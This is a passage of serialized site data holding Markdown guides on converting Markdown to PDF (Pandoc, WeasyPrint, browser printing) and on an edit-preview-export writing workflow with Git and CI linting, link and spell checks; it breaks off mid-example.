apply email-specific transformations and inline styling before sending.",[2043,149377,149378],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":141,"searchDepth":337,"depth":337,"links":149380},[149381,149382,149383,149384],{"id":148565,"depth":337,"text":148566},{"id":148685,"depth":337,"text":148686},{"id":149055,"depth":337,"text":149056},{"id":10392,"depth":337,"text":10393},"Transform Markdown content into table-based HTML email templates with inline styles.",{},"\u002Fguides\u002Fmarkdown-to-html-email",{"title":148554,"description":149385},"guides\u002Fmarkdown-to-html-email","L44mQrkvQmG90L2OUSYiiqhbO3I2mgT2jqg6oOtyQOw",{"id":149392,"title":149393,"body":149394,"date":2070,"description":150045,"extension":361,"meta":150046,"navigation":363,"path":150047,"readingTime":1710,"seo":150048,"stem":150049,"__hash__":150050},"guides\u002Fguides\u002Fmarkdown-to-pdf-workflow.md","Markdown to PDF Conversion Workflow",{"type":8,"value":149395,"toc":150039},[149396,149399,149403,149406,149409,149427,149430,149493,149496,149559,149570,149573,149577,149580,149614,149617,149641,149644,149897,149908,149911,149915,149918,149924,149957,149963,149972,149974,150027,150030,150036],[16,149397,149398],{},"Turning a Markdown file into a clean, professional PDF is something every developer eventually needs — whether for a project proposal, technical specification, or client deliverable. The challenge is that Markdown has no inherent styling, so the conversion tool you choose determines the quality of the output. This guide covers three reliable approaches, from command-line power tools to browser-based converters.",[11,149400,149402],{"id":149401},"pandoc-the-universal-converter","Pandoc: The Universal Converter",[16,149404,149405],{},"Pandoc is the most capable Markdown-to-PDF tool available. It converts Markdown through LaTeX as an intermediate format, which means you get typographic quality on par with academic papers — proper ligatures, justified text, hyphenation, and mathematical typesetting.",[16,149407,149408],{},"Install Pandoc and a LaTeX distribution (TeX Live on Linux, MacTeX on macOS, or MiKTeX on Windows), then run:",[135,149410,149412],{"className":6951,"code":149411,"language":6953,"meta":141,"style":141},"pandoc document.md -o document.pdf\n",[143,149413,149414],{"__ignoreMap":141},[1560,149415,149416,149419,149422,149424],{"class":1562,"line":1563},[1560,149417,149418],{"class":1566},"pandoc",[1560,149420,149421],{"class":5634}," document.md",[1560,149423,11028],{"class":1576},[1560,149425,149426],{"class":5634}," document.pdf\n",[16,149428,149429],{},"This minimal command produces a serviceable PDF with default styling. For better results, specify a template and metadata:",[135,149431,149433],{"className":6951,"code":149432,"language":6953,"meta":141,"style":141},"pandoc document.md \\\n  --pdf-engine=xelatex \\\n  --template=mytemplate.tex \\\n  --metadata title=\"Project Specification\" \\\n  -V geometry:margin=1in \\\n  -V fontsize=12pt \\\n  -o document.pdf\n",[143,149434,149435,149443,149450,149457,149467,149477,149486],{"__ignoreMap":141},[1560,149436,149437,149439,149441],{"class":1562,"line":1563},[1560,149438,149418],{"class":1566},[1560,149440,149421],{"class":5634},[1560,149442,123775],{"class":1576},[1560,149444,149445,149448],{"class":1562,"line":337},[1560,149446,149447],{"class":1576},"  --pdf-engine=xelatex",[1560,149449,123775],{"class":1576},[1560,149451,149452,149455],{"class":1562,"line":343},[1560,149453,149454],{"class":1576},"  --template=mytemplate.tex",[1560,149456,123775],{"class":1576},[1560,149458,149459,149462,149465],{"class":1562,"line":365},[1560,149460,149461],{"class":1576},"  --metadata",[1560,149463,149464],{"class":5634}," title=\"Project Specification\"",[1560,149466,123775],{"class":1576},[1560,149468,149469,149472,149475],{"class":1562,"line":889},[1560,149470,149471],{"class":1576},"  -V",[1560,149473,149474],{"class":5634}," geometry:margin=1in",[1560,149476,123775],{"class":1576},[1560,149478,149479,149481,149484],{"class":1562,"line":1710},[1560,149480,149471],{"class":1576},[1560,149482,149483],{"class":5634}," fontsize=12pt",[1560,149485,123775],{"class":1576},[1560,149487,149488,149491],{"class":1562,"line":1717},[1560,149489,149490],{"class":1576},"  -o",[1560,149492,149426],{"class":5634},[16,149494,149495],{},"Key options worth knowing:",[193,149497,149498,149507],{},[196,149499,149500],{},[199,149501,149502,149505],{},[202,149503,149504],{},"Flag",[202,149506,2758],{},[211,149508,149509,149519,149529,149539,149549],{},[199,149510,149511,149516],{},[216,149512,149513],{},[143,149514,149515],{},"--pdf-engine=xelatex",[216,149517,149518],{},"Supports Unicode and custom fonts",[199,149520,149521,149526],{},[216,149522,149523],{},[143,149524,149525],{},"-V geometry:margin=1in",[216,149527,149528],{},"Sets page margins",[199,149530,149531,149536],{},[216,149532,149533],{},[143,149534,149535],{},"--toc",[216,149537,149538],{},"Generates a table of contents",[199,149540,149541,149546],{},[216,149542,149543],{},[143,149544,149545],{},"--_highlight-style=pygments",[216,149547,149548],{},"Code syntax highlighting theme",[199,149550,149551,149556],{},[216,149552,149553],{},[143,149554,149555],{},"--css=style.css",[216,149557,149558],{},"Applies CSS styling (with WeasyPrint engine)",[16,149560,149561,149562,1459,149564,1466,149567,149569],{},"Pandoc also supports YAML front matter in your Markdown files, pulling ",[143,149563,108868],{},[143,149565,149566],{},"author",[143,149568,88150],{}," into the PDF header automatically.",[16,149571,149572],{},"The main drawback of Pandoc is the LaTeX dependency. A full TeX Live installation is several gigabytes, and LaTeX errors can be cryptic. If you only need simple documents, the lighter alternatives below may save you time.",[11,149574,149576],{"id":149575},"weasyprint-html-and-css-pipeline","WeasyPrint: HTML and CSS Pipeline",[16,149578,149579],{},"WeasyPrint takes a different approach: it converts Markdown to HTML first, then renders the HTML to PDF using CSS for styling. This pipeline is ideal if you already have CSS stylesheets for your documentation and want the PDF to match your web output.",[135,149581,149583],{"className":6951,"code":149582,"language":6953,"meta":141,"style":141},"pandoc document.md -t html5 --standalone -o document.html\nweasyprint document.html document.pdf\n",[143,149584,149585,149604],{"__ignoreMap":141},[1560,149586,149587,149589,149591,149593,149596,149599,149601],{"class":1562,"line":1563},[1560,149588,149418],{"class":1566},[1560,149590,149421],{"class":5634},[1560,149592,8665],{"class":1576},[1560,149594,149595],{"class":5634}," html5",[1560,149597,149598],{"class":1576}," --standalone",[1560,149600,11028],{"class":1576},[1560,149602,149603],{"class":5634}," document.html\n",[1560,149605,149606,149609,149612],{"class":1562,"line":337},[1560,149607,149608],{"class":1566},"weasyprint",[1560,149610,149611],{"class":5634}," document.html",[1560,149613,149426],{"class":5634},[16,149615,149616],{},"Or chain them in one step:",[135,149618,149620],{"className":6951,"code":149619,"language":6953,"meta":141,"style":141},"pandoc document.md -t html5 | weasyprint - document.pdf\n",[143,149621,149622],{"__ignoreMap":141},[1560,149623,149624,149626,149628,149630,149632,149634,149637,149639],{"class":1562,"line":1563},[1560,149625,149418],{"class":1566},[1560,149627,149421],{"class":5634},[1560,149629,8665],{"class":1576},[1560,149631,149595],{"class":5634},[1560,149633,17408],{"class":1669},[1560,149635,149636],{"class":1566}," weasyprint",[1560,149638,22908],{"class":5634},[1560,149640,149426],{"class":5634},[16,149642,149643],{},"The CSS-driven approach gives you precise control over the visual output:",[135,149645,149647],{"className":1554,"code":149646,"language":1556,"meta":141,"style":141},"@page {\n  size: A4;\n  margin: 2cm;\n  @bottom-center {\n    content: counter(page);\n  }\n}\n\nbody {\n  font-family: \"Inter\", sans-serif;\n  line-height: 1.6;\n  color: #1a1a1a;\n}\n\nh1 { font-size: 24pt; margin-bottom: 12pt; }\nh2 { font-size: 18pt; border-bottom: 1px solid #ccc; }\ncode { background: #f5f5f5; padding: 2px 4px; font-size: 9pt; }\npre code { display: block; padding: 12pt; overflow-wrap: break-word; }\n",[143,149648,149649,149655,149663,149676,149686,149702,149706,149710,149714,149720,149735,149745,149756,149760,149764,149792,149824,149863],{"__ignoreMap":141},[1560,149650,149651,149653],{"class":1562,"line":1563},[1560,149652,30225],{"class":1669},[1560,149654,1571],{"class":1570},[1560,149656,149657,149660],{"class":1562,"line":337},[1560,149658,149659],{"class":1576},"  size",[1560,149661,149662],{"class":1570},": A4;\n",[1560,149664,149665,149667,149669,149671,149674],{"class":1562,"line":343},[1560,149666,66201],{"class":1576},[1560,149668,1663],{"class":1570},[1560,149670,10099],{"class":1576},[1560,149672,149673],{"class":1669},"cm",[1560,149675,2228],{"class":1570},[1560,149677,149678,149681,149684],{"class":1562,"line":365},[1560,149679,149680],{"class":1570},"  @",[1560,149682,149683],{"class":1576},"bottom-center",[1560,149685,1571],{"class":1570},[1560,149687,149688,149691,149693,149696,149698,149700],{"class":1562,"line":889},[1560,149689,149690],{"class":1576},"    content",[1560,149692,1663],{"class":1570},[1560,149694,149695],{"class":1576},"counter",[1560,149697,1688],{"class":1570},[1560,149699,119275],{"class":1576},[1560,149701,1744],{"class":1570},[1560,149703,149704],{"class":1562,"line":1710},[1560,149705,4959],{"class":1570},[1560,149707,149708],{"class":1562,"line":1717},[1560,149709,1585],{"class":1570},[1560,149711,149712],{"class":1562,"line":1747},[1560,149713,1702],{"emptyLinePlaceholder":363},[1560,149715,149716,149718],{"class":1562,"line":2507},[1560,149717,2485],{"class":2484},[1560,149719,1571],{"class":1570},[1560,149721,149722,149724,149726,149729,149731,149733],{"class":1562,"line":2524},[1560,149723,96719],{"class":1576},[1560,149725,1663],{"class":1570},[1560,149727,149728],{"class":5634},"\"Inter\"",[1560,149730,1459],{"class":1570},[1560,149732,41103],{"class":1576},[1560,149734,2228],{"class":1570},[1560,149736,149737,149739,149741,149743],{"class":1562,"line":2529},[1560,149738,111897],{"class":1576},[1560,149740,1663],{"class":1570},[1560,149742,111955],{"class":1576},[1560,149744,2228],{"class":1570},[1560,149746,149747,149749,149751,149754],{"class":1562,"line":2534},[1560,149748,2510],{"class":1576},[1560,149750,1663],{"class":1570},[1560,149752,149753],{"class":1576},"#1a1a1a",[1560,149755,2228],{"class":1570},[1560,149757,149758],{"class":1562,"line":2542},[1560,149759,1585],{"class":1570},[1560,149761,149762],{"class":1562,"line":2558},[1560,149763,1702],{"emptyLinePlaceholder":363},[1560,149765,149766,149768,149770,149772,149774,149776,149779,149781,149784,149786,149788,149790],{"class":1562,"line":2570},[1560,149767,41446],{"class":2484},[1560,149769,1658],{"class":1570},[1560,149771,72075],{"class":1576},[1560,149773,1663],{"class":1570},[1560,149775,61489],{"class":1576},[1560,149777,149778],{"class":1669},"pt",[1560,149780,3664],{"class":1570},[1560,149782,149783],{"class":1576},"margin-bottom",[1560,149785,1663],{"class":1570},[1560,149787,13566],{"class":1576},[1560,149789,149778],{"class":1669},[1560,149791,1673],{"class":1570},[1560,149793,149794,149796,149798,149800,149802,149804,149806,149808,149811,149813,149815,149817,149819,149822],{"class":1562,"line":6638},[1560,149795,11],{"class":2484},[1560,149797,1658],{"class":1570},[1560,149799,72075],{"class":1576},[1560,149801,1663],{"class":1570},[1560,149803,4683],{"class":1576},[1560,149805,149778],{"class":1669},[1560,149807,3664],{"class":1570},[1560,149809,149810],{"class":1576},"border-bottom",[1560,149812,1663],{"class":1570},[1560,149814,3585],{"class":1576},[1560,149816,1670],{"class":1669},[1560,149818,3590],{"class":1576},[1560,149820,149821],{"class":1576}," #ccc",[1560,149823,1673],{"class":1570},[1560,149825,149826,149828,149830,149832,149834,149837,149839,149841,149843,149845,149847,149849,149851,149853,149855,149857,149859,149861],{"class":1562,"line":11615},[1560,149827,143],{"class":2484},[1560,149829,1658],{"class":1570},[1560,149831,11362],{"class":1576},[1560,149833,1663],{"class":1570},[1560,149835,149836],{"class":1576},"#f5f5f5",[1560,149838,3664],{"class":1570},[1560,149840,41140],{"class":1576},[1560,149842,1663],{"class":1570},[1560,149844,10099],{"class":1576},[1560,149846,1670],{"class":1669},[1560,149848,13574],{"class":1576},[1560,149850,1670],{"class":1669},[1560,149852,3664],{"class":1570},[1560,149854,72075],{"class":1576},[1560,149856,1663],{"class":1570},[1560,149858,114357],{"class":1576},[1560,149860,149778],{"class":1669},[1560,149862,1673],{"class":1570},[1560,149864,149865,149867,149869,149871,149873,149875,149877,149879,149881,149883,149885,149887,149889,149891,149893,149895],{"class":1562,"line":11621},[1560,149866,135],{"class":2484},[1560,149868,42271],{"class":2484},[1560,149870,1658],{"class":1570},[1560,149872,41162],{"class":1576},[1560,149874,1663],{"class":1570},[1560,149876,7680],{"class":1576},[1560,149878,3664],{"class":1570},[1560,149880,41140],{"class":1576},[1560,149882,1663],{"class":1570},[1560,149884,13566],{"class":1576},[1560,149886,149778],{"class":1669},[1560,149888,3664],{"class":1570},[1560,149890,38191],{"class":1576},[1560,149892,1663],{"class":1570},[1560,149894,144455],{"class":1576},[1560,149896,1673],{"class":1570},[16,149898,149899,149900,149903,149904,149907],{},"WeasyPrint handles page breaks better than most browser-based solutions. You can use ",[143,149901,149902],{},"page-break-before: always"," on headings or ",[143,149905,149906],{},"page-break-inside: avoid"," on tables and code blocks to keep related content together.",[16,149909,149910],{},"The limitation is that WeasyPrint's CSS support, while solid for print media, does not match a full browser engine. Complex flexbox layouts and certain CSS grid configurations may render differently than expected.",[11,149912,149914],{"id":149913},"online-converters-and-browser-based-workflows","Online Converters and Browser-Based Workflows",[16,149916,149917],{},"When installing command-line tools is not an option, several online services and browser workflows produce acceptable results.",[16,149919,149920,149923],{},[47,149921,149922],{},"Markdown to HTML first",": Convert your Markdown to styled HTML, then use your browser's built-in print-to-PDF function. This gives you the browser's full rendering engine, which handles CSS correctly. The downside is limited control over page breaks and headers.",[135,149925,149927],{"className":6951,"code":149926,"language":6953,"meta":141,"style":141},"# Generate standalone HTML with embedded styles\npandoc document.md --standalone --css=style.css --self-contained -o document.html\n# Open in browser, then Ctrl+P → Save as PDF\n",[143,149928,149929,149934,149952],{"__ignoreMap":141},[1560,149930,149931],{"class":1562,"line":1563},[1560,149932,149933],{"class":1649},"# Generate standalone HTML with embedded styles\n",[1560,149935,149936,149938,149940,149942,149945,149948,149950],{"class":1562,"line":337},[1560,149937,149418],{"class":1566},[1560,149939,149421],{"class":5634},[1560,149941,149598],{"class":1576},[1560,149943,149944],{"class":1576}," --css=style.css",[1560,149946,149947],{"class":1576}," --self-contained",[1560,149949,11028],{"class":1576},[1560,149951,149603],{"class":5634},[1560,149953,149954],{"class":1562,"line":343},[1560,149955,149956],{"class":1649},"# Open in browser, then Ctrl+P → Save as PDF\n",[16,149958,149959,149962],{},[47,149960,149961],{},"Dedicated online tools",": Services like md2pdf, MarkdowntoPDF, and CloudConvert accept Markdown uploads and return styled PDFs. These are convenient for one-off conversions but may not handle custom CSS, complex tables, or math notation reliably.",[16,149964,149965,149968,149969,149971],{},[47,149966,149967],{},"VS Code workflow",": The \"Markdown PDF\" extension for VS Code converts ",[143,149970,146513],{}," files to PDF directly from the editor. It uses Chrome's rendering engine under the hood, so the output matches what you see in the Markdown preview pane. Configuration options let you set margins, orientation, and header\u002Ffooter content.",[11,149973,739],{"id":738},[193,149975,149976,149986],{},[196,149977,149978],{},[199,149979,149980,149983],{},[202,149981,149982],{},"Need",[202,149984,149985],{},"Best Tool",[211,149987,149988,149996,150004,150012,150020],{},[199,149989,149990,149993],{},[216,149991,149992],{},"Academic or typographic quality",[216,149994,149995],{},"Pandoc + XeLaTeX",[199,149997,149998,150001],{},[216,149999,150000],{},"Match existing web documentation styles",[216,150002,150003],{},"WeasyPrint",[199,150005,150006,150009],{},[216,150007,150008],{},"Quick one-off conversion",[216,150010,150011],{},"Browser print or online tool",[199,150013,150014,150017],{},[216,150015,150016],{},"Batch processing many files",[216,150018,150019],{},"Pandoc shell script",[199,150021,150022,150025],{},[216,150023,150024],{},"Math equations in Markdown",[216,150026,149995],{},[16,150028,150029],{},"Regardless of which tool you choose, always proof the PDF output. Conversion artifacts — missing images from relative paths, broken table layouts, or code overflowing margins — are common and only visible in the final rendering.",[16,150031,150032,150033,150035],{},"For a quick preview of how your Markdown renders before converting to PDF, use the live preview tool at ",[98,150034,110365],{"href":110365},". It shows rendered output in real time so you can fix formatting issues before committing to a PDF export.",[2043,150037,150038],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":150040},[150041,150042,150043,150044],{"id":149401,"depth":337,"text":149402},{"id":149575,"depth":337,"text":149576},{"id":149913,"depth":337,"text":149914},{"id":738,"depth":337,"text":739},"Convert Markdown documents to polished PDFs using Pandoc, WeasyPrint, and online tools.",{},"\u002Fguides\u002Fmarkdown-to-pdf-workflow",{"title":149393,"description":150045},"guides\u002Fmarkdown-to-pdf-workflow","KRoLu3BhWhyaPLuClp5v4mdknBusH4IWOO-HTgzo1y8",{"id":150052,"title":150053,"body":150054,"date":2070,"description":150782,"extension":361,"meta":150783,"navigation":363,"path":110350,"readingTime":1710,"seo":150784,"stem":150785,"__hash__":150786},"guides\u002Fguides\u002Fmarkdown-writing-workflow.md","Markdown Writing Workflow: Edit, Preview, and Export",{"type":8,"value":150055,"toc":150750},[150056,150060,150063,150066,150070,150073,150077,150080,150147,150150,150153,150156,150161,150164,150167,150195,150198,150202,150205,150209,150244,150248,150251,150265,150269,150272,150276,150282,150314,150317,150321,150331,150356,150360,150369,150394,150397,150401,150403,150406,150426,150429,150432,150435,150461,150464,150467,150470,150487,150490,150493,150496,150564,150567,150571,150574,150578,150581,150623,150630,150634,150637,150657,150660,150664,150667,150685,150688,150692,150698,150701,150703,150723,150725,150739,150741,150747],[11,150057,150059],{"id":150058},"why-your-workflow-matters","Why Your Workflow Matters",[16,150061,150062],{},"A good writing workflow removes friction between thinking and publishing. When you edit, preview, and export smoothly, you spend time on content — not on fighting tools, wrestling with formats, or untangling Git conflicts.",[16,150064,150065],{},"Markdown's plain-text nature makes it uniquely suited for structured, repeatable workflows. This guide walks you through building one that scales from personal notes to team documentation.",[11,150067,150069],{"id":150068},"the-edit-preview-export-pipeline","The Edit-Preview-Export Pipeline",[16,150071,150072],{},"Every Markdown workflow has three stages.",[33,150074,150076],{"id":150075},"edit","Edit",[16,150078,150079],{},"Write raw Markdown in a text editor. The right editor depends on your needs:",[193,150081,150082,150093],{},[196,150083,150084],{},[199,150085,150086,150088,150091],{},[202,150087,146639],{},[202,150089,150090],{},"Strength",[202,150092,489],{},[211,150094,150095,150105,150115,150125,150136],{},[199,150096,150097,150099,150102],{},[216,150098,146509],{},[216,150100,150101],{},"Extensions, Git integration",[216,150103,150104],{},"Technical docs",[199,150106,150107,150109,150112],{},[216,150108,146651],{},[216,150110,150111],{},"Inline WYSIWYG",[216,150113,150114],{},"Long-form writing",[199,150116,150117,150119,150122],{},[216,150118,146519],{},[216,150120,150121],{},"Linking, backlinks",[216,150123,150124],{},"Knowledge bases",[199,150126,150127,150130,150133],{},[216,150128,150129],{},"Neovim \u002F Helix",[216,150131,150132],{},"Speed, keyboard-driven",[216,150134,150135],{},"Terminal-native writers",[199,150137,150138,150141,150144],{},[216,150139,150140],{},"Browser tools",[216,150142,150143],{},"Zero setup, shareable",[216,150145,150146],{},"Quick edits, collaboration",[16,150148,150149],{},"Pick one editor and learn it well. Switching tools constantly fragments your muscle memory.",[33,150151,147193],{"id":150152},"preview",[16,150154,150155],{},"Before you publish, verify your formatting. Real-time preview lets you catch errors as you write — broken tables, missing images, malformed links.",[16,150157,2419,150158,150160],{},[98,150159,110366],{"href":110365}," for instant browser-based rendering. For local workflows, VS Code's preview pane or Typora's inline mode work well.",[33,150162,150163],{"id":9187},"Export",[16,150165,150166],{},"Convert your Markdown into the format your audience needs. Common targets:",[41,150168,150169,150174,150179,150184,150189],{},[44,150170,150171,150173],{},[47,150172,124621],{}," — web pages, blogs, CMS content",[44,150175,150176,150178],{},[47,150177,146923],{}," — printable documentation, reports",[44,150180,150181,150183],{},[47,150182,146938],{}," — collaboration with non-technical stakeholders",[44,150185,150186,150188],{},[47,150187,146944],{}," — presentations via Marp, Slidev, or reveal.js",[44,150190,150191,150194],{},[47,150192,150193],{},"EPUB"," — e-books and long-form reading",[16,150196,150197],{},"Each export format has its own tooling. The key is to automate the step so you never export manually more than once.",[11,150199,150201],{"id":150200},"version-control-and-markdown","Version Control and Markdown",[16,150203,150204],{},"Markdown's plain-text format makes it a natural fit for Git. You get line-level diffs, meaningful commit messages, and branch-based review workflows.",[33,150206,150208],{"id":150207},"best-practices-for-git-markdown","Best Practices for Git + Markdown",[41,150210,150211,150217,150223,150235],{},[44,150212,150213,150216],{},[47,150214,150215],{},"Commit logically"," — one section or topic per commit, not one giant dump",[44,150218,150219,150222],{},[47,150220,150221],{},"Write descriptive messages"," — \"Add API authentication section\" beats \"update docs\"",[44,150224,150225,150230,150231,150234],{},[47,150226,1388,150227],{},[143,150228,150229],{},".gitattributes"," — set ",[143,150232,150233],{},"*.md text eol=lf"," to normalize line endings across Windows and macOS",[44,150236,150237,150243],{},[47,150238,150239,150240,150242],{},"Enable ",[143,150241,147179],{}," in CI"," — catch formatting issues before merge",[33,150245,150247],{"id":150246},"avoiding-merge-conflicts","Avoiding Merge Conflicts",[16,150249,150250],{},"Long paragraphs create painful conflicts. To reduce them:",[41,150252,150253,150256,150259,150262],{},[44,150254,150255],{},"Keep paragraphs short — 3–4 lines maximum",[44,150257,150258],{},"Put each list item on its own line",[44,150260,150261],{},"Break long documents into smaller files and use transclusion or includes where your platform supports it",[44,150263,150264],{},"Use reference-style links to keep prose lines short",[11,150266,150268],{"id":150267},"markdown-in-cicd-pipelines","Markdown in CI\u002FCD Pipelines",[16,150270,150271],{},"Automating Markdown checks in your CI pipeline prevents broken content from reaching production.",[33,150273,150275],{"id":150274},"linting","Linting",[16,150277,59390,150278,150281],{},[143,150279,150280],{},"markdownlint-cli"," to your pipeline:",[135,150283,150285],{"className":37227,"code":150284,"language":37229,"meta":141,"style":141},"# GitHub Actions example\n- name: Lint Markdown\n  run: npx markdownlint-cli \"**\u002F*.md\" --ignore node_modules\n",[143,150286,150287,150292,150304],{"__ignoreMap":141},[1560,150288,150289],{"class":1562,"line":1563},[1560,150290,150291],{"class":1649},"# GitHub Actions example\n",[1560,150293,150294,150297,150299,150301],{"class":1562,"line":337},[1560,150295,150296],{"class":1570},"- ",[1560,150298,82747],{"class":2484},[1560,150300,1663],{"class":1570},[1560,150302,150303],{"class":5634},"Lint Markdown\n",[1560,150305,150306,150309,150311],{"class":1562,"line":343},[1560,150307,150308],{"class":2484},"  run",[1560,150310,1663],{"class":1570},[1560,150312,150313],{"class":5634},"npx markdownlint-cli \"**\u002F*.md\" --ignore node_modules\n",[16,150315,150316],{},"This catches inconsistent heading levels, trailing whitespace, missing language hints, and 40+ other issues.",[33,150318,150320],{"id":150319},"link-checking","Link Checking",[16,150322,150323,150324,1531,150327,150330],{},"Broken links erode trust. Use ",[143,150325,150326],{},"markdown-link-check",[143,150328,150329],{},"lychee"," in CI:",[135,150332,150334],{"className":37227,"code":150333,"language":37229,"meta":141,"style":141},"- name: Check Links\n  run: npx markdown-link-check README.md\n",[143,150335,150336,150347],{"__ignoreMap":141},[1560,150337,150338,150340,150342,150344],{"class":1562,"line":1563},[1560,150339,150296],{"class":1570},[1560,150341,82747],{"class":2484},[1560,150343,1663],{"class":1570},[1560,150345,150346],{"class":5634},"Check Links\n",[1560,150348,150349,150351,150353],{"class":1562,"line":337},[1560,150350,150308],{"class":2484},[1560,150352,1663],{"class":1570},[1560,150354,150355],{"class":5634},"npx markdown-link-check README.md\n",[33,150357,150359],{"id":150358},"spell-checking","Spell Checking",[16,150361,35185,150362,1531,150365,150368],{},[143,150363,150364],{},"cspell",[143,150366,150367],{},"vale"," catch typos and enforce style guidelines:",[135,150370,150372],{"className":37227,"code":150371,"language":37229,"meta":141,"style":141},"- name: Spell Check\n  run: npx cspell \"**\u002F*.md\"\n",[143,150373,150374,150385],{"__ignoreMap":141},[1560,150375,150376,150378,150380,150382],{"class":1562,"line":1563},[1560,150377,150296],{"class":1570},[1560,150379,82747],{"class":2484},[1560,150381,1663],{"class":1570},[1560,150383,150384],{"class":5634},"Spell Check\n",[1560,150386,150387,150389,150391],{"class":1562,"line":337},[1560,150388,150308],{"class":2484},[1560,150390,1663],{"class":1570},[1560,150392,150393],{"class":5634},"npx cspell \"**\u002F*.md\"\n",[16,150395,150396],{},"Run these checks on every pull request. Fixing issues in CI is infinitely cheaper than fixing them after publication.",[11,150398,150400],{"id":150399},"export-formats-in-depth","Export Formats in Depth",[33,150402,124621],{"id":6419},[16,150404,150405],{},"Most Markdown workflows produce HTML as their primary output. The path is straightforward:",[77,150407,150408,150417,150420,150423],{},[44,150409,150410,150411,1459,150413,1459,150415,1525],{},"Parse Markdown to HTML (via ",[143,150412,145763],{},[143,150414,146736],{},[143,150416,146739],{},[44,150418,150419],{},"Apply a CSS stylesheet for branding and layout",[44,150421,150422],{},"Inject syntax highlighting for code blocks (Prism, highlight.js)",[44,150424,150425],{},"Optionally add a table of contents from heading IDs",[16,150427,150428],{},"HTML output gives you maximum flexibility — deploy it anywhere, style it with any CSS framework, embed it in any CMS.",[33,150430,146923],{"id":150431},"pdf",[16,150433,150434],{},"PDF generation typically routes through HTML first, then uses a headless browser:",[135,150436,150438],{"className":6951,"code":150437,"language":6953,"meta":141,"style":141},"# Using Puppeteer\nnpx puppeteer print docs\u002Findex.html output.pdf\n",[143,150439,150440,150445],{"__ignoreMap":141},[1560,150441,150442],{"class":1562,"line":1563},[1560,150443,150444],{"class":1649},"# Using Puppeteer\n",[1560,150446,150447,150449,150452,150455,150458],{"class":1562,"line":337},[1560,150448,11016],{"class":1566},[1560,150450,150451],{"class":5634}," puppeteer",[1560,150453,150454],{"class":5634}," print",[1560,150456,150457],{"class":5634}," docs\u002Findex.html",[1560,150459,150460],{"class":5634}," output.pdf\n",[16,150462,150463],{},"Pandoc offers a direct Markdown-to-PDF path via LaTeX, which produces publication-quality typography but requires a LaTeX installation.",[33,150465,146938],{"id":150466},"docx",[16,150468,150469],{},"Pandoc converts Markdown to DOCX with one command:",[135,150471,150473],{"className":6951,"code":150472,"language":6953,"meta":141,"style":141},"pandoc input.md -o output.docx\n",[143,150474,150475],{"__ignoreMap":141},[1560,150476,150477,150479,150482,150484],{"class":1562,"line":1563},[1560,150478,149418],{"class":1566},[1560,150480,150481],{"class":5634}," input.md",[1560,150483,11028],{"class":1576},[1560,150485,150486],{"class":5634}," output.docx\n",[16,150488,150489],{},"Customize the output with a reference DOCX template that defines styles for headings, code blocks, and tables.",[33,150491,146944],{"id":150492},"slides",[16,150494,150495],{},"Marp and Slidev turn Markdown into presentation slides:",[135,150497,150499],{"className":34628,"code":150498,"language":34630,"meta":141,"style":141},"---\nmarp: true\n---\n\n# Project Overview\n\nKey metrics and goals\n\n---\n\n## Q4 Results\n\n- Revenue: $2.4M\n- Growth: 18% YoY\n",[143,150500,150501,150506,150511,150515,150519,150524,150528,150533,150537,150541,150545,150550,150554,150559],{"__ignoreMap":141},[1560,150502,150503],{"class":1562,"line":1563},[1560,150504,150505],{},"---\n",[1560,150507,150508],{"class":1562,"line":337},[1560,150509,150510],{},"marp: 